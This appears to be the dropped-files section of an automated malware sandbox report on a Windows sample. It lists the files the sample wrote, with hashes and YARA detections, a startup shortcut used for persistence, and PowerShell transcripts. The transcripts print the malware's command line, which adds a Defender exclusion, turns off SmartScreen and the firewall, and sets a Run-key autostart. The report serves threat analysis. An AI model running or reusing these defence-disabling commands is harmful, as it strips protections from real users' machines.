                                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\M2ZQZRVF.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):10
                                                                                                                                                                                                      Entropy (8bit):2.6464393446710153
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:HLLq:fq
                                                                                                                                                                                                      MD5:63F0D4EC8DEFAE19F086EA022E155367
                                                                                                                                                                                                      SHA1:91A37597B28B4900635D3B7EB8AB74D4E8CD13DD
                                                                                                                                                                                                      SHA-256:64C5C35B6F495F64290B3D982E5989679585BDEAFF56E6E2FE34735DB256EDEB
                                                                                                                                                                                                      SHA-512:385B25D89BEA5DD26947BC3F93CAB435E0B7EEFBF750155AA85E723B64211EFB4E3660D31B41FAE1B91E7BA5EB7586FC3C2251A716F4690B427B738A8E8F6D45
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:84.17.52.2

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\A0YQ6271.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\MicrosoftNetwork\System.exe
                                                                                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):10
                                                                                                                                                                                                      Entropy (8bit):2.6464393446710153
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:HLLq:fq
                                                                                                                                                                                                      MD5:63F0D4EC8DEFAE19F086EA022E155367
                                                                                                                                                                                                      SHA1:91A37597B28B4900635D3B7EB8AB74D4E8CD13DD
                                                                                                                                                                                                      SHA-256:64C5C35B6F495F64290B3D982E5989679585BDEAFF56E6E2FE34735DB256EDEB
                                                                                                                                                                                                      SHA-512:385B25D89BEA5DD26947BC3F93CAB435E0B7EEFBF750155AA85E723B64211EFB4E3660D31B41FAE1B91E7BA5EB7586FC3C2251A716F4690B427B738A8E8F6D45
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:84.17.52.2

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):26143
                                                                                                                                                                                                      Entropy (8bit):5.0561629531069086
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:768:h4SinHzwINKevH3ctAHkfcYHWrxT4JCw6opbjoRjdvRB+ard3Lvx:h4SinHzwINKe0tAHkfcsWrxT4JCw6ibo
                                                                                                                                                                                                      MD5:EAC422EBD772228845FE9EB2AEADE3FC
                                                                                                                                                                                                      SHA1:C62B79780147F038775A95C8B29C28187839C84C
                                                                                                                                                                                                      SHA-256:F1AC9AAADB2DE51BA8E3EFFDFAA2677D081C78E32746AB57BC8AC55FB829992E
                                                                                                                                                                                                      SHA-512:848378861CCCADF02BB4C0ECDFBA5801042C69AE163688FC5ACB2445C2362BC9FEFE28B7E690E933CDA840D4B8FC04A632BFBE9BF8035E90B3DA4B8EDEE87517
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:PSMODULECACHE.*...9......I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Remove-MpPreference........Get-MpThreatDetection........Get-MpComputerStatus........Update-MpSignature........Get-MpThreatCatalog........Start-MpWDOScan........Add-MpPreference........Get-MpPreference........Remove-MpThreat........Get-MpThreat........Set-MpPreference........Start-MpScan........x..:...s...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Security\Microsoft.PowerShell.Security.psd1........Test-FileCatalog........Set-AuthenticodeSignature........Get-ExecutionPolicy........Set-Acl........Protect-CmsMessage........Get-Credential........ConvertTo-SecureString........Get-Acl........Get-PfxCertificate........Get-AuthenticodeSignature........ConvertFrom-SecureString........Unprotect-CmsMessage........New-FileCatalog........Get-CmsMessage........Set-ExecutionPolicy.........P.e...I...C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PSRead

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:modified
                                                                                                                                                                                                      Size (bytes):64
                                                                                                                                                                                                      Entropy (8bit):0.9260988789684415
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:Nlllulb/lj:NllUb/l
                                                                                                                                                                                                      MD5:13AF6BE1CB30E2FB779EA728EE0A6D67
                                                                                                                                                                                                      SHA1:F33581AC2C60B1F02C978D14DC220DCE57CC9562
                                                                                                                                                                                                      SHA-256:168561FB18F8EBA8043FA9FC4B8A95B628F2CF5584E5A3B96C9EBAF6DD740E3F
                                                                                                                                                                                                      SHA-512:1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2E5F8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B829413
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:@...e................................................@..........

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0kqxwzjc.egw.ps1

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:very short file (no magic)
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):1
                                                                                                                                                                                                      Entropy (8bit):0.0
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:U:U
                                                                                                                                                                                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:1

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txmxx2k3.pml.psm1

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:very short file (no magic)
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):1
                                                                                                                                                                                                      Entropy (8bit):0.0
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:U:U
                                                                                                                                                                                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:1

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txsxumfi.lkd.psm1

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:very short file (no magic)
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):1
                                                                                                                                                                                                      Entropy (8bit):0.0
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:U:U
                                                                                                                                                                                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:1

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vm3e14xv.ydt.ps1

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:very short file (no magic)
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):1
                                                                                                                                                                                                      Entropy (8bit):0.0
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:U:U
                                                                                                                                                                                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:1

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\aut2CFB.tmp

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):25822
                                                                                                                                                                                                      Entropy (8bit):7.676686877584948
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:768:X4ltkgfpZ92EBn80hR2u5k+G2qqTswsOWDK4dQS97hJw:X4bx9780/k+1TLs3FGOi
                                                                                                                                                                                                      MD5:436C1BB98DEECCECB73FAD945F1DD3DC
                                                                                                                                                                                                      SHA1:774313BA911945589971BBC73498D81F060DABE6
                                                                                                                                                                                                      SHA-256:05EAE1691149CC66E458D5E5B4430BD3B938B278B8BDB2C887A13C9871004C51
                                                                                                                                                                                                      SHA-512:66EA41B9B4A42F7C40D1CE5B6E82A6F03E8489648B912D96A81EFA13D340D4D651078DF7C1302C595CA83408E7208D1D79F02165DC27383952A9ABE7F851C3E2
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:..%...F:.Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.9..T.M.Y..kF....(.I5.M..I..i7.....1....Y..k7.."@...o2.L.......L&....i6.L.....m9..(..@....N......8..2.Y..o4.*fs...g5.4......h.MfSp.`.[.* ..1..&.....2.M.Sy...2.P.......M...X.M&`...Q5... ....7...T@..e3.L.39....L.s..mM@M..fiE.Lf.I...K....mF.Q.A...a5.M....E.4.r...n......@.6@K../.k8..s@./......"....E...f.i..k8..&.0..a2.L.....s2...T`..j.y...m7.L&.9.......Y.(..4...z......... ....L.......T.A.i..o4.f.... .H....`'....DH.......@.....H...2..&.`!Bo3...p.\..@#.,Fr.T..l...R.y....{......Z...@............G.(...hL.S ...6.:..B..........1..@.>@1..0.N.@L.#.....@.....7....>I..iB..(.....@..$..#.....F.M.\...i6.......I..x.9.....M@.0...9@....@....".(..`.....fi4.t..0...& ...j.4L.....L. .Y..g3Y...f .H...1.4....@....jf..P@..5..h.#@%.4.....h........&.....c5...}.z... ...d.(.M..>0.O.kB.Q.T...e2...tY......H*.....V..0.c.T....@......... :..P.....;..P...Vd...x[.L.........CjkC...|SP*..!.bA...L..|...#.2.0@#..'...<..b....D .........h.}..K......mB..r8.-...| m.....i.&@w...@_

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\autB536.tmp

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):25822
                                                                                                                                                                                                      Entropy (8bit):7.676686877584948
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:768:X4ltkgfpZ92EBn80hR2u5k+G2qqTswsOWDK4dQS97hJw:X4bx9780/k+1TLs3FGOi
                                                                                                                                                                                                      MD5:436C1BB98DEECCECB73FAD945F1DD3DC
                                                                                                                                                                                                      SHA1:774313BA911945589971BBC73498D81F060DABE6
                                                                                                                                                                                                      SHA-256:05EAE1691149CC66E458D5E5B4430BD3B938B278B8BDB2C887A13C9871004C51
                                                                                                                                                                                                      SHA-512:66EA41B9B4A42F7C40D1CE5B6E82A6F03E8489648B912D96A81EFA13D340D4D651078DF7C1302C595CA83408E7208D1D79F02165DC27383952A9ABE7F851C3E2
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:..%...F:.Q&.Y..o4.M&.Y..mC.Lf.)..k6..f.9..T.M.Y..kF....(.I5.M..I..i7.....1....Y..k7.."@...o2.L.......L&....i6.L.....m9..(..@....N......8..2.Y..o4.*fs...g5.4......h.MfSp.`.[.* ..1..&.....2.M.Sy...2.P.......M...X.M&`...Q5... ....7...T@..e3.L.39....L.s..mM@M..fiE.Lf.I...K....mF.Q.A...a5.M....E.4.r...n......@.6@K../.k8..s@./......"....E...f.i..k8..&.0..a2.L.....s2...T`..j.y...m7.L&.9.......Y.(..4...z......... ....L.......T.A.i..o4.f.... .H....`'....DH.......@.....H...2..&.`!Bo3...p.\..@#.,Fr.T..l...R.y....{......Z...@............G.(...hL.S ...6.:..B..........1..@.>@1..0.N.@L.#.....@.....7....>I..iB..(.....@..$..#.....F.M.\...i6.......I..x.9.....M@.0...9@....@....".(..`.....fi4.t..0...& ...j.4L.....L. .Y..g3Y...f .H...1.4....@....jf..P@..5..h.#@%.4.....h........&.....c5...}.z... ...d.(.M..>0.O.kB.Q.T...e2...tY......H*.....V..0.c.T....@......... :..P.....;..P...Vd...x[.L.........CjkC...|SP*..!.bA...L..|...#.2.0@#..'...<..b....D .........h.}..K......mB..r8.-...| m.....i.&@w...@_

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\pwjrtgc

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                                                                                                                                      Category:modified
                                                                                                                                                                                                      Size (bytes):83514
                                                                                                                                                                                                      Entropy (8bit):3.495672104133364
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:1536:QxUzapK6b5Hg7OoSZ9f7fOxrIGyiBquTsR3cgwO0wNP02:wo8GQ
                                                                                                                                                                                                      MD5:940B1915CADEE0E2B33D80799816F6C7
                                                                                                                                                                                                      SHA1:2C10E4FEC3E8C054055D1ED78757117575F273F2
                                                                                                                                                                                                      SHA-256:81E89E7266CFE5158E44F5578C8BE61353E781DAEBDD47A33597E9EC503D379C
                                                                                                                                                                                                      SHA-512:CC3C574FD5392C1B54146B591E22B1C01C95E34A602C403AD96C49B7EE6AD31D1478A00CC1334286ADDC5CB94496372A172745E9AD20554023E1E22C7DA1E1C5
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: C:\Users\user\AppData\Local\Temp\pwjrtgc, Author: Florian Roth
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:4D7573744465636C61726556617273!7ET4755495F52554E4445464D5347!7ET47554944617461536570617261746F7243686172!7ET20404C4620!7ET57696E44657465637448696464656E54657874!7ET312E35!7ET506F77657252756E!7ET202D20417574686F7220627920426C75654C696665!7ET5B434C4153533A506F77657252756E3A76!7ET5D!7ET323031362D32303231!7ET2040557365724E616D6520!7ET2040436F6D70696C656420!7ET20404175746F497445786520!7ET20404F534172636820!7ET20404175746F497458363420!7ET20404F5356657273696F6E20!7ET20404F5356657273696F6E20!7ET5F2858507C32303028307C332929!7ET4F7065726174696E672053797374656D204E6F7420537570706F7274656421!7ET546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321!7ET204053637269707444697220!7ET204057696E646F777344697220!7ET53797374656D33325C!7ET2040576F726B696E6744697220!7ET6B65726E656C33322E646C6C!7ET7573657233322E646C6C!7ET61647661706933322E646C6C!7ET7368656C6C33322E646C6C!7ET6F6C6533322E646C6C!7ET73686C776170692E646C6C!7ET67646933322E646C6C!7ET484B4C4D!7ET48

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Temp\strthiu

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      File Type:ASCII text, with very long lines, with no line terminators
                                                                                                                                                                                                      Category:modified
                                                                                                                                                                                                      Size (bytes):83514
                                                                                                                                                                                                      Entropy (8bit):3.495672104133364
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:1536:QxUzapK6b5Hg7OoSZ9f7fOxrIGyiBquTsR3cgwO0wNP02:wo8GQ
                                                                                                                                                                                                      MD5:940B1915CADEE0E2B33D80799816F6C7
                                                                                                                                                                                                      SHA1:2C10E4FEC3E8C054055D1ED78757117575F273F2
                                                                                                                                                                                                      SHA-256:81E89E7266CFE5158E44F5578C8BE61353E781DAEBDD47A33597E9EC503D379C
                                                                                                                                                                                                      SHA-512:CC3C574FD5392C1B54146B591E22B1C01C95E34A602C403AD96C49B7EE6AD31D1478A00CC1334286ADDC5CB94496372A172745E9AD20554023E1E22C7DA1E1C5
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: C:\Users\user\AppData\Local\Temp\strthiu, Author: Florian Roth
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:4D7573744465636C61726556617273!7ET4755495F52554E4445464D5347!7ET47554944617461536570617261746F7243686172!7ET20404C4620!7ET57696E44657465637448696464656E54657874!7ET312E35!7ET506F77657252756E!7ET202D20417574686F7220627920426C75654C696665!7ET5B434C4153533A506F77657252756E3A76!7ET5D!7ET323031362D32303231!7ET2040557365724E616D6520!7ET2040436F6D70696C656420!7ET20404175746F497445786520!7ET20404F534172636820!7ET20404175746F497458363420!7ET20404F5356657273696F6E20!7ET20404F5356657273696F6E20!7ET5F2858507C32303028307C332929!7ET4F7065726174696E672053797374656D204E6F7420537570706F7274656421!7ET546F20737461727420736F66747761726520796F75206D75737420686176652041646D696E6973747261746F722072696768747321!7ET204053637269707444697220!7ET204057696E646F777344697220!7ET53797374656D33325C!7ET2040576F726B696E6744697220!7ET6B65726E656C33322E646C6C!7ET7573657233322E646C6C!7ET61647661706933322E646C6C!7ET7368656C6C33322E646C6C!7ET6F6C6533322E646C6C!7ET73686C776170692E646C6C!7ET67646933322E646C6C!7ET484B4C4D!7ET48

                                                                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Fri Jul 22 23:01:29 2022, mtime=Fri Jul 22 23:01:29 2022, atime=Fri Jul 22 23:01:20 2022, length=450560, window=hideshowminimized
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):849
                                                                                                                                                                                                      Entropy (8bit):4.55989075446324
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:12:8iPLn0cUCiIbeCi2K57ZXrSQVx+K57mkMjAsquiaWT1ioq/Gi9bXSQRfKOwXpZr8:8ynqIbvKzXrSazdIAs/WMe0XSLOim
                                                                                                                                                                                                      MD5:C392F1B234C5E37C9F49B50E14F48232
                                                                                                                                                                                                      SHA1:CFCB6A0002B55F5563B52E480A35F879E17BF2DC
                                                                                                                                                                                                      SHA-256:573D3362E7EA38B944C00C00098C0C937DCC70C873E84FD4E7EA4ED7CE99D34D
                                                                                                                                                                                                      SHA-512:1FFC295ACD7007F41F9557DE54B84D37EE00A327F856528B209DF7A929B9B1C24556C09DC27A8D3A861118B0BAD1EFA087463DA64555EB5932351E70E6D4A5D5
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:L..................F.... ...l.<\'....j`\'....b.V'...........................Y....P.O. .:i.....+00.../C:\...................`.1......P}...PROGRA~3..H......L..T$.....F.........................P.r.o.g.r.a.m.D.a.t.a.....j.1......T/...MICROS~4..R.......T/..T/...........................3.D.M.i.c.r.o.s.o.f.t.N.e.t.w.o.r.k.....`.2......T+. .System.exe..F.......T/..T/.....:.....................^R..S.y.s.t.e.m...e.x.e.......Y...............-.......X...........&..l.....C:\ProgramData\MicrosoftNetwork\System.exe....l.i.n.k. .d.e.s.c.r.i.p.t.i.o.n.B.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.N.e.t.w.o.r.k.\.S.y.s.t.e.m...e.x.e.`.......X.......887849...........!a..%.H.VZAj....x...............!a..%.H.VZAj....x..............E.......9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

                                                                                                                                                                                                      C:\Users\user\Documents\20220722\PowerShell_transcript.887849.+ptdYe4U.20220722170131.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):15220
                                                                                                                                                                                                      Entropy (8bit):5.5440286966087475
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:96:BZq6eNddObfbWTkW8eK3qDo1ZBdObfbWTkW8eKDZb6eNddObfbWTkW8eK3qDo1Zg:9eK8eKSeKFeKt+eKvteKxQEiq
                                                                                                                                                                                                      MD5:91014E69A5BD2BF809336CBFEFD37BB3
                                                                                                                                                                                                      SHA1:A7F02E230F08D5202D2699AD571D65B15DCB2BD7
                                                                                                                                                                                                      SHA-256:1BAC9F4D8F6FA757572A9E033FD9A9005503BB6086BBCDD86DB3342F3E1AA1E5
                                                                                                                                                                                                      SHA-512:F8BB61018522361CA40F30FE223E12AC8A27703E8F57460CD94ECFF9D4CB819805309EBDAC1FDE7288DB68AEF9B400C7D80AD365BF4D9EE1AC1C6A8B10FB120A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:.**********************..Windows PowerShell transcript start..Start time: 20220722170132..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 887849 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ...Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ...Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ...Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ...Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\Prog

                                                                                                                                                                                                      C:\Users\user\Documents\20220722\PowerShell_transcript.887849.HQahdplD.20220722170151.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):17907
                                                                                                                                                                                                      Entropy (8bit):5.544154320109044
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:96:BZx6eNddObfbWTkW8eKdqDo1ZudObfbWTkW8eKDZT6eNddObfbWTkW8eKdqDo1Za:ueK5eK6eKDeKyeKqGeKMAeKbMM7
                                                                                                                                                                                                      MD5:DBF4C005B114348589113597F827CBC4
                                                                                                                                                                                                      SHA1:87ABCF631CF0CE7A1BFC5BCCD7878AB1C3382EDB
                                                                                                                                                                                                      SHA-256:64797ACACE482D298CA6B7D33A3B15E700BDFD3139C53055AC471695A98D7E3A
                                                                                                                                                                                                      SHA-512:797111AF673EC66F8AC5D153E929B9F658BD1DDDB102A01ACB26D560D6FE9363546C8EF8CA863738AA3C37116070BF7B5FE8DDBCB231E2C8A2BECD27ED348BC1
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:.**********************..Windows PowerShell transcript start..Start time: 20220722170153..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 887849 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ...Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ...Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ...Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ...Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\Prog

                                                                                                                                                                                                      C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:data
                                                                                                                                                                                                      Category:modified
                                                                                                                                                                                                      Size (bytes):9709
                                                                                                                                                                                                      Entropy (8bit):4.925370375539915
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:192:Axoe5FpOMxoe5Pib4GVsm5emdygkjDt4iWN3yBGHh9smidcU6CGdcU6CS9smDpOE:6fib4Glkjh4iUxs14r4Lib41
                                                                                                                                                                                                      MD5:37AED58F152582BDB058325D28DCC407
                                                                                                                                                                                                      SHA1:8D26BD9238E1BFD3BA661029D51C0E735CE29AE0
                                                                                                                                                                                                      SHA-256:52715A53B3D20A6510A4F97B6D20C69070A2BC0686BA1FF13E1E7BC5752EE2BA
                                                                                                                                                                                                      SHA-512:5ACC01C774A989714EBD956899334D327BB0C34C443DA1035275B209E793196AFC91ACC8A57D3E77EE935A2350CADC123F799AC00DC6D0DD9367DE31EA58131F
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:PSMODULECACHE......P.e...S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........7r8...C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

